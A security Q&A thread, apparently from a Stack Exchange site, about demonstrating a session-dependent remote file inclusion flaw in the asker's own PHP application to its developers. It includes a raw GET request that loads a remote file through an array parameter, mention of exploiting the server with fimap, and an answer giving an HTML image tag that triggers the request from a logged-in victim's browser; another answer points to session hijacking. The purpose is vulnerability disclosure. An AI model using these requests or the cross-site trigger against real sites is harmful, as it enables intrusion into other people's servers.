How can i demonstrate remote file inclusion via get methods

Question

I have been testing my PHP web application for RFI vulnerabilities. While performing scan I was able perform RFI in my web application.

Scenario:

In my web application RFI works only when the user's session was present. I need to demonstrate the RFI to developers.

Sample demonstration:

GET /cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
PE-Token: 346645c4fd373fa7f321ec5d3ecf486b4e122cc7-1457413695-1800
Referer: https://example.com/success
Cookie: __cfduid=d3e9d6b0485c45636f90caa652f60437d1456979567;

The response contains the uploaded file output.

Problem :

Now through the above vulnerability I was able to prove the RFI was present in the web application, but the problem is my developers are asking for the attack scenario which will help them to evaluate my bug.

What i tried :

I tried to exploit the web application with fimap through this we were able to demonstrate and exploit the webserver.

However, the main problem I faced during the test was I can't exploit if the user is not authenticated.

How else can I demonstrate the RFI vulnerability in my application?

Answer 1

If a logged-in user views a webpage (anywhere on the internet!) with the following HTML anywhere in it, then the vulnerability will be triggered. An attacker could send a link to a page containing this HTML to someone they know is logged in.

<img src="http://yourdomain.com/cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt">

Answer 2

Firstly, congrats on finding a vulnerability. It's always a nice feeling, especially when you have something like RFI.

From what I understand, you cant exploit this RFI if there is no user session going on. In that case, have your developers take a look at session hijacking!

According to OWASP:

The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token.

Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.

It seems to me, that if you combine these two, a malicious attacker would not need the actual credentials for a successful attack.

Maybe a small demonstration of this type will suffice. Let me know if you have any more questions!

Good luck!